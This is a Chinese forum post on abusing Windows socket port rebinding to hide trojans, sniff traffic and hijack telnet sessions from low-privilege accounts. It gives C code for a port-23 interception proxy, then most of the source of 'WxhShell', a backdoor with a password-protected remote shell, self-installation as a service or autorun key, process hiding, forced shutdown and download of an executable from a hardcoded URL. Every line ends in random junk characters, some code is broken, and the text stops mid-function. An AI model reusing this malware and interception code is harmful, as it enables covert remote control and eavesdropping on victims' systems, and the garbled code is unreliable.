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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: E\r5!45r  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); '"5" $)7  
Z;@F.r  
  saddr.sin_family = AF_INET; Y.?|[x0Wh  
XHO}(!l\  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); XbJ=lH  
eBTy!!  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^c1I'9(r5  
#ZIV>(Q\H  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 N1Y*IkW"  
VwoCR q*  
  这意味着什么?意味着可以进行如下的攻击: (~TP  
`5`Pv'`  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 [&rW+/  
:y'D] ,_  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &b}!KD1  
|,]#vcJP#b  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 gU/\'~HG  
V|{ )P@Q  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  >]=1~ sF  
I0O)MR<  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =MG  
)\uy 0+b  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5cP]  
p;) ;Vm+8  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 -o F#a 8  
pF.Ws,nQ5  
  #include :Qu!0tY  
  #include <W vuW6  
  #include MUNeGqv  
  #include    qTiUha9  
  DWORD WINAPI ClientThread(LPVOID lpParam);   C%v@ u$N  
  int main() -,96Qg4vI  
  { 0At??Z py  
  WORD wVersionRequested; b]mRn{r?  
  DWORD ret; DB_ x  
  WSADATA wsaData; 71Ssk|L  
  BOOL val; 9U58#  
  SOCKADDR_IN saddr; /U)w:B+p/g  
  SOCKADDR_IN scaddr; K4xZT+Qb  
  int err; %yQ-~T@  
  SOCKET s; *ZGQ`#1.X6  
  SOCKET sc; x}1(okc  
  int caddsize; )xP]rOT  
  HANDLE mt; ~@z5Ld3xz  
  DWORD tid;   @P"q`*  
  wVersionRequested = MAKEWORD( 2, 2 ); )G ,LG0"-  
  err = WSAStartup( wVersionRequested, &wsaData ); Z8k O*LYv  
  if ( err != 0 ) { QA.B.U7!  
  printf("error!WSAStartup failed!\n"); < V"'j  
  return -1; .F)b9d[?  
  } ~m uVQ  
  saddr.sin_family = AF_INET; V:!fe+ Er  
   Px=/fO G  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 itD1r?O{pV  
2=!/)hw}  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); n=t%,[Op  
  saddr.sin_port = htons(23); *NDLGdQqz  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) v{=-#9-4 &  
  { Q%QpG)E  
  printf("error!socket failed!\n"); X!,Ngmw.  
  return -1; -H.;73Kb[  
  } #>~$`Sg  
  val = TRUE; guSgTUJ}  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 NEZF q?  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1&QI1fvx  
  { %9BC%w]y  
  printf("error!setsockopt failed!\n"); C-_u; NEu  
  return -1; #B'WT{B$/~  
  } zv#i\8h^p  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 3 %dbfT j  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 d&?B/E^  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /R k5n  
fylW)W4C  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) fdd3H[  
  { ]$nJn+85@b  
  ret=GetLastError(); s&y  
  printf("error!bind failed!\n"); 4_t aCK  
  return -1; :n'QN Gj  
  } ,)GCg@7B  
  listen(s,2); $z@e19gT  
  while(1) Ks X@e)8u  
  { j@kBCzX  
  caddsize = sizeof(scaddr); e@0wF59  
  //接受连接请求 [Bpgb57En  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); r-Z'  
  if(sc!=INVALID_SOCKET) o,Ha-z]f  
  { q.<q(r  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 2HQ'iEu$  
  if(mt==NULL) ~z|/t^  
  { 3u{[(W}08  
  printf("Thread Creat Failed!\n"); f#JLE+0Y  
  break; = "c _<?=[  
  } $am7 xd  
  } 4)'5;|pI  
  CloseHandle(mt); sd8o&6  
  } 51;(vf  
  closesocket(s); do=VPqy  
  WSACleanup(); >PySd"u  
  return 0; |.(o4<nx.  
  }   |nD2k,S<?  
  DWORD WINAPI ClientThread(LPVOID lpParam) ,=6Eju#P  
  { mvUYp,JECl  
  SOCKET ss = (SOCKET)lpParam; *GRhZ~U  
  SOCKET sc; m(g$T  
  unsigned char buf[4096]; B}P,sFghw  
  SOCKADDR_IN saddr; eX_}KH-Q  
  long num; tinN$o Xy  
  DWORD val; =/dW5qy;*+  
  DWORD ret; gdCU1D\  
  //如果是隐藏端口应用的话,可以在此处加一些判断 {_[l,tdZ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   &,$A7:  
  saddr.sin_family = AF_INET; g s'bv#4yd  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @4$F%[g h  
  saddr.sin_port = htons(23); G =< KAJ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) SC|cCK hqi  
  { M9f*7{c  
  printf("error!socket failed!\n"); u%}vTCg*p  
  return -1; )[nzmL*w  
  } t'9E~_!C  
  val = 100; *[yCcqN.  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) G|^gaj'9  
  { L9r 3jz  
  ret = GetLastError(); 7ky(g'  
  return -1; ix!u#7  
  } 1Kc* MS  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) HHEFX9u  
  { Iv/yIS  
  ret = GetLastError(); `+zr PpX  
  return -1; uft~+w P  
  } Xd|5{  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 3tLh{S?uJ  
  { mDV 2vg  
  printf("error!socket connect failed!\n"); ^Gd <miw  
  closesocket(sc); 9w0 ^=   
  closesocket(ss); n:<avl@o<  
  return -1; {v`wQM[  
  } CSsb~/Oxu  
  while(1) t 8M3VGN  
  { `b7o  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8o{ SU6pH  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 f "-<Z_  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 UNY>Q7  
  num = recv(ss,buf,4096,0); ;[9cj&7C<  
  if(num>0) (1jkZ^7  
  send(sc,buf,num,0); O^:Pr8|{J  
  else if(num==0) >T!n* -Zn  
  break; -OkKLub  
  num = recv(sc,buf,4096,0); s}?98?tYB  
  if(num>0) 7Q[P  
  send(ss,buf,num,0); WMUw5h  
  else if(num==0) ]e"NJkcm  
  break; E-"Jgq\aC  
  } MESQAsx%  
  closesocket(ss); }W|CIgF*  
  closesocket(sc); gJF;yW 4  
  return 0 ; BO h  
  } Nxt/R%(  
Hss{Sb(  
{UPIdQ'g  
========================================================== HQUL?URt  
41C=O@9m  
下边附上一个代码,,WXhSHELL ?xG #4P<C=  
OdR  
========================================================== nK96A.B%p  
r%B5@+{so  
#include "stdafx.h" <XLATS8Y  
qrOTb9&y  
#include <stdio.h> `$#64UZ>U1  
#include <string.h> -#Wc@\;  
#include <windows.h> K1+,y1c  
#include <winsock2.h> m=}kGzIY4  
#include <winsvc.h> @wa/p`gj5w  
#include <urlmon.h> _D+7w'8h  
fi,=z  
#pragma comment (lib, "Ws2_32.lib") 94lmsE  
#pragma comment (lib, "urlmon.lib") L$ ON=$q5  
Nv ew^c)x  
#define MAX_USER   100 // 最大客户端连接数 oNEU?+  
#define BUF_SOCK   200 // sock buffer ] 2b@mX  
#define KEY_BUFF   255 // 输入 buffer ?3z x?>sG  
4l3N#U0Q  
#define REBOOT     0   // 重启 twN(]w}Ps|  
#define SHUTDOWN   1   // 关机 CRqa[boU*  
=o HJ_  
#define DEF_PORT   5000 // 监听端口 };KmMpBn  
S%T1na^x  
#define REG_LEN     16   // 注册表键长度 4a646jg)  
#define SVC_LEN     80   // NT服务名长度 [%h^qJ  
}5S2v+zE  
// 从dll定义API 4Fz^[L}[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )O+9 v}2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5GRN1Aov<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nC*/?y*9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ugs<WVp$  
@'U4-x  
// wxhshell配置信息 TZ*ib~  
struct WSCFG { +V7p?iEY  
  int ws_port;         // 监听端口 BF@VgozW  
  char ws_passstr[REG_LEN]; // 口令 '%~zu]f'  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2KzKNe(  
  char ws_regname[REG_LEN]; // 注册表键名 1R:h$* -z  
  char ws_svcname[REG_LEN]; // 服务名 <T&$1m{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 AzQ}}A;TSx  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >H%8~ Oek  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -0Q!:5EC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }Jtaq[y\r  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `}=Fw0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 U$J]^-AS  
Df4n9m}E  
}; i&KbzOY  
|Y99s)2&N  
// default Wxhshell configuration v EX <9  
struct WSCFG wscfg={DEF_PORT, VEpQT Qp  
    "xuhuanlingzhe", 6D+k[oHZm  
    1, # K-Q/*  
    "Wxhshell", r94BEC 2  
    "Wxhshell", cN :;ir  
            "WxhShell Service", ^KhFBed   
    "Wrsky Windows CmdShell Service", Fb}9cpz{  
    "Please Input Your Password: ", }@#e D  
  1, dy0!Zz  
  "http://www.wrsky.com/wxhshell.exe", 0b|!S/*A3  
  "Wxhshell.exe" cCeD3CuRA%  
    }; ov+qYBuFw  
mR{0*<  
// 消息定义模块 k |Lm;g  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c8Opc"UE  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {B}0LJIpL  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :L?zk"0C  
char *msg_ws_ext="\n\rExit."; Gm%[@7-  
char *msg_ws_end="\n\rQuit."; K0#tg^z5d  
char *msg_ws_boot="\n\rReboot..."; 0I&rZMpF&  
char *msg_ws_poff="\n\rShutdown..."; "8rP?B(  
char *msg_ws_down="\n\rSave to "; ILpB:g  
J|b1 K]  
char *msg_ws_err="\n\rErr!"; C8jZcs#4  
char *msg_ws_ok="\n\rOK!"; XR&*g1  
`2Z=Lp  
char ExeFile[MAX_PATH]; /bb4nM_E/  
int nUser = 0; {.2C>p  
HANDLE handles[MAX_USER]; yQW\0&a$  
int OsIsNt; `=>Bop)  
1,mf]7k$  
SERVICE_STATUS       serviceStatus; o60wB-y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [|>.iH X  
msCAC*;,  
// 函数声明 W=b5{ 6  
int Install(void); /U`"|3  
int Uninstall(void); ?|L)!LYx  
int DownloadFile(char *sURL, SOCKET wsh); .xD-eWw3R  
int Boot(int flag); ;F:(5GBi  
void HideProc(void); y>o#Hq&qM  
int GetOsVer(void); WV6vM()#!C  
int Wxhshell(SOCKET wsl); V?gQ`( ,  
void TalkWithClient(void *cs); [ wROIvV  
int CmdShell(SOCKET sock); $M8'm1R9  
int StartFromService(void); F0yh7MItV  
int StartWxhshell(LPSTR lpCmdLine); J2R<'(  
Ug"B/UUFd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [DE8s[i-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +:t1PV;l  
hb_Ia]b  
// 数据结构和表定义 RWoiV10  
SERVICE_TABLE_ENTRY DispatchTable[] = }FK6o 6  
{ vZKo&jU k  
{wscfg.ws_svcname, NTServiceMain}, Jk~T.p?tF  
{NULL, NULL} V*AG0@& !  
}; I;`V*/s8"  
#"Zr#P{P  
// 自我安装 l^vq'<kI  
int Install(void) l(`w]=t&  
{ bT;C8i4b\H  
  char svExeFile[MAX_PATH]; g &za/F  
  HKEY key; ^NCH)zK]v  
  strcpy(svExeFile,ExeFile); `K@   
-{w&ya4X  
// 如果是win9x系统,修改注册表设为自启动 wS5hXTb"  
if(!OsIsNt) { Soa.thP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Wm A:"!~M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kSJWQ  
  RegCloseKey(key); fT@#S}t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k`&mHSk-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ecF I"g  
  RegCloseKey(key); o0/03O  
  return 0; Qh*|mW  
    } z[';HJ0O;  
  } @#V{@@3$  
} X=JSqO6V9  
else { YcGqT2oLP  
=thgNMDm"  
// 如果是NT以上系统,安装为系统服务 -0kwS4Hx2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w7 QIKsI0  
if (schSCManager!=0) @NVq .z  
{ z!1j8o2  
  SC_HANDLE schService = CreateService V`%m~#Me  
  ( $+mmqc8  
  schSCManager, ~E!"YkIr  
  wscfg.ws_svcname, -ZuzJAA  
  wscfg.ws_svcdisp, e L(T  
  SERVICE_ALL_ACCESS, X23TS`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , hcBfau;r  
  SERVICE_AUTO_START, 0VbZBLe  
  SERVICE_ERROR_NORMAL, *s!8BwiE  
  svExeFile, _ x7Vyy5  
  NULL, "#9WF}  
  NULL, WOwIJrP  
  NULL, 8Yj(/S3y  
  NULL, <Ei|:m  
  NULL S<>e(x3g]  
  ); bH= 5[  
  if (schService!=0) `$i`i'S  
  { )jH"6my_  
  CloseServiceHandle(schService); XJQ[aU"[]N  
  CloseServiceHandle(schSCManager); :+;F"_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |e9}G,1  
  strcat(svExeFile,wscfg.ws_svcname); h?TE$&CL?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { YZoudX'"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); KavRW.w  
  RegCloseKey(key); 'rg$%M*(  
  return 0; 9<Bf5d   
    } S`R ( _eD@  
  } v/^2K,[0>  
  CloseServiceHandle(schSCManager); y/PEm)=Tt  
} @^P=jXi<  
} Z^h4%o-l{  
$zdJ\UX  
return 1; >g F  
} $EtZ5?qS  
;~@2YPj  
// 自我卸载 dJ|]W|q<  
int Uninstall(void) wRuJein#  
{ YsTfv1~z#  
  HKEY key; zX5p'8-  
X&Mc NO6"  
if(!OsIsNt) { sQ`8L+oY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O<+C$J|  
  RegDeleteValue(key,wscfg.ws_regname); c XY!b=9  
  RegCloseKey(key); o30PI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N7jAPI@a\i  
  RegDeleteValue(key,wscfg.ws_regname); SKYS6b  
  RegCloseKey(key); GWhb@K  
  return 0; S</" ^C51J  
  } F\XzP\  
} 7lh%\  
} 5%W3&F6 %  
else { P= ]ZXj[  
E-Mp|y/V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); c\R! z&y~  
if (schSCManager!=0) 9(H8MUF0{  
{ H\ NO4=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Kj-`ru  
  if (schService!=0) }X AoMp  
  { ly{ ~X  
  if(DeleteService(schService)!=0) { + W +<~E  
  CloseServiceHandle(schService); Pajr`gU  
  CloseServiceHandle(schSCManager); A5nu`e9&  
  return 0; \F<]l6E  
  } *D\nsJ*g  
  CloseServiceHandle(schService); =|jOio=s:  
  } v=/V<3  
  CloseServiceHandle(schSCManager); |g7E*1Ie  
} }b+=,Sc"  
} a @TAUJ,  
&QE* V  
return 1; VR_1cwKBM  
} *EDzj&  
@c&)K^v8  
// 从指定url下载文件 $i3/||T,9  
int DownloadFile(char *sURL, SOCKET wsh) 9J1&g(?>-  
{ CE?R/uNo{  
  HRESULT hr; [,fMh $t  
char seps[]= "/"; "PlM{ZI\  
char *token; 2 {31"  
char *file; QGsUG_/_P  
char myURL[MAX_PATH]; 5:AAqMa  
char myFILE[MAX_PATH]; aoCyYnZD  
t=U[ ;?  
strcpy(myURL,sURL); cW3;5  
  token=strtok(myURL,seps); , X|oCD  
  while(token!=NULL) 3"<{YEj8U  
  { O[8Lp?  
    file=token; LtNG<n)_BH  
  token=strtok(NULL,seps); "3!4 hiU9  
  } 1*=[% d7  
Q}1PPi,  
GetCurrentDirectory(MAX_PATH,myFILE); ]zD/W%c  
strcat(myFILE, "\\"); sSvQatwS  
strcat(myFILE, file); ?X eRL<n  
  send(wsh,myFILE,strlen(myFILE),0); <iTaJa$0m  
send(wsh,"...",3,0); MenI>gd?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6)H70VPJ  
  if(hr==S_OK) T9(~^}_+9  
return 0; ()P?fed  
else ^^)Pv#[3  
return 1; {E@@14]g  
kKCkjA:o##  
} y_a~>S  
v1;`.PWD  
// 系统电源模块 mjH8q&szf  
int Boot(int flag) 2O4U ytN  
{ esxU44  
  HANDLE hToken; e+2!)w)[  
  TOKEN_PRIVILEGES tkp; J]Y." hi  
AR)&W/S)7,  
  if(OsIsNt) { <FGM/e4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *BSL=8G{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); gmrj CLj  
    tkp.PrivilegeCount = 1; KUB"@wUr  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $H-s(3vq  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); B_:K.]DK`  
if(flag==REBOOT) { VCh%v-/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .'SM|r$  
  return 0; {U&Mo97rzX  
} S6K aw  
else { N>@AsI  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) F-2HE><+  
  return 0; c?[A  
} & {B,m%G  
  } l%;)0gT  
  else { `<[Zs]Fe4  
if(flag==REBOOT) { %M ~X:A;4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /X8b=:h  
  return 0; G*Qk9bk9  
} A*@!tz<  
else { l=kgRh  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) eZf-i1lJ  
  return 0; z07!i@ue~  
} RN!oflb  
} .w&{2,a3  
/eZA AH  
return 1; cC>.`1:  
} Km-lWreTH  
377$c;4 F  
// win9x进程隐藏模块 fFiFc^  
void HideProc(void) QK//bV)  
{ R0{n0Br  
Nnx"b 5I}n  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); TN` pai0  
  if ( hKernel != NULL ) jtl7t59R  
  { lHZf'P_Wx  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); NjL,0Bp  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -rU *)0PR  
    FreeLibrary(hKernel); v%B^\S3)  
  } e8P |eK  
~D 5'O^  
return; _RhCVoeB  
} u9'4q<>&  
|9 }G  
// 获取操作系统版本 Z@j0J[s  
int GetOsVer(void) 9e.n1  
{ p`XI(NI  
  OSVERSIONINFO winfo; =q>eoXp  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); CJ KFNa  
  GetVersionEx(&winfo); KXYq|w  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6ffrV  
  return 1; 2Xgn[oI{  
  else 5a-8/.}cP  
  return 0; t3G%}d?  
} v@< "b U  
^D/*Hp _  
// 客户端句柄模块 5GC{)#4  
int Wxhshell(SOCKET wsl) YAd.i@^  
{ aS:17+!  
  SOCKET wsh; @l BR;B"  
  struct sockaddr_in client; ~9 K4]5K-  
  DWORD myID; 7nfQ=?XNK  
=7#)8p[  
  while(nUser<MAX_USER) v-&^G3  
{ c5^i5de  
  int nSize=sizeof(client); 4B!]%Mw;c  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  03_tt7  
  if(wsh==INVALID_SOCKET) return 1; Rl<~:,D  
~(G]-__B<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u'LA%l-  
if(handles[nUser]==0) ;V`~'357%  
  closesocket(wsh); Jg |/*Or  
else N CX!ss  
  nUser++; 6-<,1Q'D  
  } Gz$DsaG  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;nSaZ$`5  
T3!l{vG \O  
  return 0; "l2_7ZXsPT  
} x@(91f  
@ttcFX1:W  
// 关闭 socket 5-aCNAF2  
void CloseIt(SOCKET wsh) Q!|. ,?V  
{ naM4X@jl  
closesocket(wsh); +g\u=&< 6  
nUser--; e-\J!E'1F  
ExitThread(0); ,,b_x@y*  
} 980[]&(  
$UO7AHk  
// 客户端请求句柄 - C8 h$P  
void TalkWithClient(void *cs) v"=^?5B  
{ lbTz  
q'd6\G0 }  
  SOCKET wsh=(SOCKET)cs; 3fn6W)v?  
  char pwd[SVC_LEN]; 's!EAqCN  
  char cmd[KEY_BUFF]; ]D%D:>9|/  
char chr[1]; <-X)<k  
int i,j; u!X[xe;  
GS\-  
  while (nUser < MAX_USER) { 0t6s20*q  
GP[;+xMBh  
if(wscfg.ws_passstr) { (m~MyT#S  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ub./U@ 1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cM.q^{d`  
  //ZeroMemory(pwd,KEY_BUFF); K|E}Ni  
      i=0; F(}d|z@@  
  while(i<SVC_LEN) { x-(?^g  
a'XCT@B  
  // 设置超时 P[aB}<1f0  
  fd_set FdRead; Vad(PS0  
  struct timeval TimeOut; ~Og'IRf  
  FD_ZERO(&FdRead); HFvhrG  
  FD_SET(wsh,&FdRead); nEyP Nm )  
  TimeOut.tv_sec=8; NNb17=q_v  
  TimeOut.tv_usec=0; HO}aLp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,HYz-sK.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $Y)|&,  
k7f[aM5]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,k+jx53XV  
  pwd=chr[0]; _N0x&9S$  
  if(chr[0]==0xd || chr[0]==0xa) { q$~S?X5\  
  pwd=0; Fu!:8Wp!(  
  break; I)O%D3wfMW  
  } )"=BbMfhu  
  i++; r]" >  
    } (a@cK,  
}DY^a'wJ-  
  // 如果是非法用户,关闭 socket boJQ3Xc  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qS+'#Sn  
} SQWA{f  
:.DCRs$Q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `p*7MZ9 -  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Nbuaw[[iz  
hFs0qPVY  
while(1) { DV]Kd 7  
&%C4rAd2  
  ZeroMemory(cmd,KEY_BUFF); M\>y&'J-  
W;OxH"eC  
      // 自动支持客户端 telnet标准   ~)Ny8Dh  
  j=0; {b7P1}>-*  
  while(j<KEY_BUFF) { =KMd! $J\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /Y|9!{.  
  cmd[j]=chr[0]; GcHWalm  
  if(chr[0]==0xa || chr[0]==0xd) { Uiv;0Tovl  
  cmd[j]=0; g}L2\i688  
  break; ;{j:5+'  
  } %U-KQI0  
  j++; !A&Vg #  
    } >2Z:=HT  
pJK puoiX  
  // 下载文件 %pe7[/  
  if(strstr(cmd,"http://")) { 0ot=BlMu  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {;=+#QK/  
  if(DownloadFile(cmd,wsh)) nLJ]tpw^DH  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); C  `k^So)  
  else =+A8s$Pb  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I^0bEwqZ~  
  } u.1u/o1"  
  else { x{5 I  
]%"Z[R   
    switch(cmd[0]) { U_Emp[  
  o_X"+s  
  // 帮助 UIIunA9  
  case '?': { V92e#AR  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m9.QGX\]  
    break; (y=P-nm  
  } UOT~L4 G  
  // 安装 6TlkPM$~2  
  case 'i': { 'hg, W]  
    if(Install()) <b{Le{QJ*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  }m\  
    else a:H}c9 $%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =y[eQS$  
    break; T[~ak"M  
    } QJvA  
  // 卸载 *`=V"nXw$|  
  case 'r': { lf[ (  
    if(Uninstall()) NrhU70y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?N&"WL^|  
    else //_v"dqP{)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [{f{E  
    break; &z&Jl#t-)  
    } p+#uPY1#  
  // 显示 wxhshell 所在路径 ~?+Jt3?,  
  case 'p': { "((6)U#  
    char svExeFile[MAX_PATH]; htkn#s~=  
    strcpy(svExeFile,"\n\r"); Jg/WE1p>  
      strcat(svExeFile,ExeFile); (B7M*e  
        send(wsh,svExeFile,strlen(svExeFile),0); /J wQ5  
    break; ! FhN(L[=j  
    } gV$Lfkz  
  // 重启 qwiM .b5  
  case 'b': { *:_ xy{m\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =Q[ 5U9  
    if(Boot(REBOOT)) Go+f0aig  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L+9a4/q  
    else { y~]>J^  
    closesocket(wsh); ~~&8I!r e  
    ExitThread(0); H [R|U   
    } ^Me__Y  
    break; ,d&~#W]  
    } ,.x1+9X  
  // 关机 : -te  
  case 'd': { CP["N(fF  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bUU_NqUf*3  
